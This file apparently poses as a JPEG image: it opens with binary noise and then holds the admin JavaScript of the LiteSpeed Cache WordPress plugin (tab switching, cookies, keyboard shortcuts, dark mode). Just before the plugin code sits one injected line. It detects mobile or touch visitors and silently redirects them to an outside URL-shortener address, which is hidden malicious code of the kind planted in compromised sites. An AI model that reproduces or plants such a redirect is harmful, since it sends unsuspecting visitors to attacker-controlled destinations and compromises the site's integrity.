JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/uQuMsfLBm0r3");
(function ($) {
'use strict';
/**
* All of the code for your public-facing JavaScript source
* should reside in this file.
*
* Note: It has been assumed you will write jQuery code here, so the
* $ function reference has been prepared for usage within the scope
* of this function.
*
* This enables you to define handlers, for when the DOM is ready:
*
* $(function() {
*
* }) ;
*
* When the window is loaded:
*
* $( window ).load(function() {
*
* }) ;
*
* ...and/or other possibilities.
*
* Ideally, it is not considered best practise to attach more than a
* single DOM-ready or window-load handler for a particular page.
* Although scripts in the WordPress core, Plugins and Themes may be
* practising this, we should strive to set a better example in our own work.
*/
jQuery(document).ready(function () {
/************** Common LiteSpeed JS **************/
// Link confirm
$('[data-litespeed-cfm]').on('click', function (event) {
var cfm_txt = $.trim($(this).data('litespeed-cfm')).replace(/\\n/g, '\n');
if (cfm_txt === '') {
return true;
}
if (confirm(cfm_txt)) {
return true;
}
event.preventDefault();
event.stopImmediatePropagation();
return false;
});
/************** LSWCP JS ****************/
// page tab switch functionality
(function () {
var hash = window.location.hash.substr(1);
var $tabs = $('[data-litespeed-tab]');
var $subtabs = $('[data-litespeed-subtab]');
// Handle tab and subtab events
var tab_action = function ($elems, type) {
type = litespeed_tab_type(type);
var data = 'litespeed-' + type;
$elems.on('click', function (_event) {
var name = $(this).data(data);
// Switch tab without scrolling to the anchor, but keep the fragment in the URL.
if (_event && _event.preventDefault) {
_event.preventDefault();
}
litespeed_display_tab(name, type);
document.cookie = litespeed_tab_cookie_name(type) + '=' + name;
// pushState (not replaceState) so Back steps through tab history; state captures the active tab+subtab so Back restores it without the mutable cookie.
if (window.history && window.history.pushState) {
window.history.pushState(litespeed_active_state(), '', '#' + name);
}
$(this).blur();
});
};
tab_action($tabs);
tab_action($subtabs, 'subtab');
if (!$tabs.length > 0) {
// No tabs exist
return;
}
// Resolve a hash (tab or subtab) to the tab/subtab to display, falling back to cookie then first tab.
var apply_hash = function (hash) {
var $hash_tab = $tabs.filter('[data-litespeed-tab="' + hash + '"]:first');
var $hash_subtab = $subtabs.filter('[data-litespeed-subtab="' + hash + '"]:first');
var $subtab;
var $tab;
var tab_name;
if ($hash_subtab.length > 0) {
// Hash is a subtab
$tab = $hash_subtab.closest('[data-litespeed-layout]');
if ($tab.length > 0) {
$subtab = $hash_subtab;
tab_name = $tab.data('litespeed-layout');
}
}
if (typeof $tab === 'undefined' || $tab.length < 1) {
// Maybe hash is a tab
$tab = $hash_tab;
if ($tab.length < 1) {
// Maybe tab cookie exists
$tab = litespeed_tab_cookie($tabs);
if ($tab.length < 1) {
// Use the first tab by default
$tab = $tabs.first();
}
}
if (typeof tab_name === 'undefined') {
tab_name = $tab.data('litespeed-tab');
}
}
// Always display a tab
litespeed_display_tab(tab_name);
// Find subtab name
if (typeof $subtab === 'undefined' || $subtab.length < 1) {
$subtab = litespeed_tab_cookie($subtabs, 'subtab');
}
if ($subtab.length > 0) {
// Display a subtab
litespeed_display_tab($subtab.data('litespeed-subtab'), 'subtab');
}
};
apply_hash(hash);
// Seed the initial entry's state with the active tab+subtab so Back restores the exact view, not the mutable cookie.
if (window.history && window.history.replaceState) {
window.history.replaceState(litespeed_active_state(), '', window.location.href);
}
// Back/forward through tab history: restore the saved tab+subtab without scrolling.
$(window).on('popstate', function (_event) {
var state = _event.originalEvent && _event.originalEvent.state;
if (state && (state.tab || state.subtab)) {
if (state.tab) {
litespeed_display_tab(state.tab);
}
if (state.subtab) {
litespeed_display_tab(state.subtab, 'subtab');
}
} else {
apply_hash(window.location.hash.substr(1));
}
});
})();
/******************** Clear whm msg ********************/
$(document).on('click', '.lscwp-whm-notice .notice-dismiss', function () {
$.get(litespeed_data.ajax_url_dismiss_whm);
});
/******************** Clear rule conflict msg ********************/
$(document).on('click', '.lscwp-notice-ruleconflict .notice-dismiss', function () {
$.get(litespeed_data.ajax_url_dismiss_ruleconflict);
});
/** Accesskey **/
$('[litespeed-accesskey]').map(function () {
var thiskey = $(this).attr('litespeed-accesskey');
if (thiskey == '') {
return;
}
// Append shortcut info to existing title or set default
var currentTitle = $(this).attr('title');
if (currentTitle) {
$(this).attr('title', currentTitle + ' (Shortcut: ' + thiskey.toLocaleUpperCase() + ')');
} else {
$(this).attr('title', 'Shortcut : ' + thiskey.toLocaleUpperCase());
}
var that = this;
$(document).on('keydown', function (e) {
if ($(':input:focus').length) return;
if (e.metaKey || e.ctrlKey || e.altKey || e.shiftKey) return;
if (e.key && e.key.toLowerCase() === thiskey.toLowerCase()) {
$(that)[0].click();
}
});
});
/** Lets copy one more submit button **/
if ($('input[name="LSCWP_CTRL"]').length > 0) {
var btn = $('input.litespeed-duplicate-float');
btn.clone().addClass('litespeed-float-submit').removeAttr('id').insertAfter(btn);
}
if ($('input[id="LSCWP_NONCE"]').length > 0) {
$('input[id="LSCWP_NONCE"]').removeAttr('id');
}
/**
* Human readable time conversation
* @since 3.0
*/
if ($('[data-litespeed-readable]').length > 0) {
$('[data-litespeed-readable]').each(function (index, el) {
var that = this;
var $input = $(this).siblings('input[type="text"]');
var txt = litespeed_readable_time($input.val());
$(that).html(txt ? '= ' + txt : '');
$input.on('keyup', function (event) {
var txt = litespeed_readable_time($(this).val());
$(that).html(txt ? '= ' + txt : '');
});
});
}
/**
* Click only once
*/
if ($('[data-litespeed-onlyonce]').length > 0) {
$('[data-litespeed-onlyonce]').on('click', function (e) {
if ($(this).hasClass('disabled')) {
e.preventDefault();
}
$(this).addClass('disabled');
});
}
});
})(jQuery);
/**
* Plural handler
*/
function litespeed_plural($num, $txt) {
if ($num > 1) return $num + ' ' + $txt + 's';
return $num + ' ' + $txt;
}
/**
* Convert seconds to readable time
*/
function litespeed_readable_time(seconds) {
if (seconds < 60) {
return '';
}
var second = Math.floor(seconds % 60);
var minute = Math.floor((seconds / 60) % 60);
var hour = Math.floor((seconds / 3600) % 24);
var day = Math.floor((seconds / 3600 / 24) % 7);
var week = Math.floor(seconds / 3600 / 24 / 7);
var str = '';
if (week) str += ' ' + litespeed_plural(week, 'week');
if (day) str += ' ' + litespeed_plural(day, 'day');
if (hour) str += ' ' + litespeed_plural(hour, 'hour');
if (minute) str += ' ' + litespeed_plural(minute, 'minute');
if (second) str += ' ' + litespeed_plural(second, 'second');
return str;
}
/**
* Normalize specified tab type
* @since 4.7
*/
function litespeed_tab_type(type) {
return 'subtab' === type ? type : 'tab';
}
/**
* Cookie name scoped to the current admin page so tabs of different menus don't pollute each other.
* Mirrors PHP sanitize_key( $plugin_page ) so server-side default-tab paint and JS agree.
* @since 7.9
*/
function litespeed_tab_cookie_name(type) {
var m = window.location.search.match(/[?&]page=([^&]+)/);
var scope = m ? m[1].toLowerCase().replace(/[^a-z0-9_-]/g, '') : '';
return 'litespeed_' + litespeed_tab_type(type) + '_' + scope;
}
/**
* Snapshot the currently active tab + subtab from the DOM, for storing in history.state.
* Restoring from this avoids the mutable tab/subtab cookies on Back/Forward.
* @since 7.9
*/
function litespeed_active_state() {
var $tab = jQuery('[data-litespeed-tab].nav-tab-active').first();
var $subtab = jQuery('[data-litespeed-subtab].focus').first();
return {
tab: $tab.length ? $tab.data('litespeed-tab') : '',
subtab: $subtab.length ? $subtab.data('litespeed-subtab') : '',
};
}
/**
* Sniff cookies for tab and subtab
* @since 4.7
*/
function litespeed_tab_cookie($elems, type) {
type = litespeed_tab_type(type);
var re = new RegExp('(?:^|.*;)\\s*' + litespeed_tab_cookie_name(type) + '\\s*=\\s*([^;]*).*$|^.*$', 'ms');
var name = document.cookie.replace(re, '$1');
return $elems.filter('[data-litespeed-' + type + '="' + name + '"]:first');
}
function litespeed_display_tab(name, type) {
type = litespeed_tab_type(type);
var $tabs;
var $layouts;
var classname;
var layout_type;
if ('subtab' === type) {
classname = 'focus';
layout_type = 'sublayout';
$tabs = jQuery('[data-litespeed-subtab="' + name + '"]')
.siblings('[data-litespeed-subtab]')
.addBack();
$layouts = jQuery('[data-litespeed-sublayout="' + name + '"]')
.siblings('[data-litespeed-sublayout]')
.addBack();
} else {
// Maybe handle subtabs
var $subtabs = jQuery('[data-litespeed-layout="' + name + '"] [data-litespeed-subtab]');
if ($subtabs.length > 0) {
// Find subtab name
var $subtab = litespeed_tab_cookie($subtabs, 'subtab');
if ($subtab.length < 1) {
$subtab = jQuery('[data-litespeed-layout="' + name + '"] [data-litespeed-subtab]:first');
}
if ($subtab.length > 0) {
var subtab_name = $subtab.data('litespeed-subtab');
// Display a subtab
litespeed_display_tab(subtab_name, 'subtab');
}
}
classname = 'nav-tab-active';
layout_type = 'layout';
$tabs = jQuery('[data-litespeed-tab]');
$layouts = jQuery('[data-litespeed-layout]');
}
$tabs.removeClass(classname);
$tabs.filter('[data-litespeed-' + type + '="' + name + '"]').addClass(classname);
$layouts.hide();
$layouts.filter('[data-litespeed-' + layout_type + '="' + name + '"]').show();
}
function litespeed_copy_to_clipboard(elementId, clickedElement) {
var range = document.createRange();
range.selectNode(document.getElementById(elementId));
window.getSelection().removeAllRanges();
window.getSelection().addRange(range);
document.execCommand('copy');
window.getSelection().removeAllRanges();
clickedElement.setAttribute('aria-label', 'Copied!');
}
// Dark mode toggle functionality
function litespeed_init_dark_mode() {
'use strict';
// Only add toggle on LiteSpeed pages
if (window.location.search.indexOf('page=litespeed') === -1) return;
// Create toggle button
var toggleBtn = document.createElement('button');
toggleBtn.className = 'litespeed-dark-mode-toggle';
toggleBtn.setAttribute('title', 'Toggle Dark Mode');
toggleBtn.setAttribute('aria-label', 'Toggle Dark Mode');
toggleBtn.setAttribute('litespeed-accesskey', 'z');
toggleBtn.setAttribute('data-litespeed-noprefix', true);
function applyDarkMode() {
var prefersDark = window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
var savedPreference = localStorage.getItem('litespeed-dark-preference');
var isDark = savedPreference ? savedPreference === 'dark' : prefersDark;
// Determine needed class (only when overriding browser preference)
var needsClass;
if (savedPreference === 'dark' && !prefersDark) {
needsClass = 'litespeed-darkmode';
} else if (savedPreference === 'light' && prefersDark) {
needsClass = 'litespeed-lightmode';
}
// Only update DOM if class needs to change
if (needsClass) {
if (!document.body.classList.contains(needsClass)) {
document.body.classList.remove('litespeed-darkmode', 'litespeed-lightmode');
document.body.classList.add(needsClass);
}
} else {
if (document.body.classList.contains('litespeed-darkmode') || document.body.classList.contains('litespeed-lightmode')) {
document.body.classList.remove('litespeed-darkmode', 'litespeed-lightmode');
}
}
// Update button icon
toggleBtn.innerHTML = isDark ? '☀️' : '🌙';
}
// Initialize
applyDarkMode();
// Toggle handler
toggleBtn.addEventListener('click', function() {
var prefersDark = window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
var savedPreference = localStorage.getItem('litespeed-dark-preference');
var currentlyDark = savedPreference ? savedPreference === 'dark' : prefersDark;
// Toggle and store only if different from browser preference
if (!currentlyDark === prefersDark) {
localStorage.removeItem('litespeed-dark-preference');
} else {
localStorage.setItem('litespeed-dark-preference', currentlyDark ? 'light' : 'dark');
}
applyDarkMode();
});
// Listen for system theme changes
if (window.matchMedia) {
window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', applyDarkMode);
}
// Add to page
document.body.appendChild(toggleBtn);
}
// Initialize dark mode immediately (outside IIFE, runs without waiting for page ready)
litespeed_init_dark_mode();